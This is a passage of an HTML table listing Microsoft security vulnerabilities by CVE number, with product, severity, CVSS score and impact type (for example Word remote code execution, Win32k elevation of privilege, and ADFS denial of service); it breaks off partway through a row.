  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
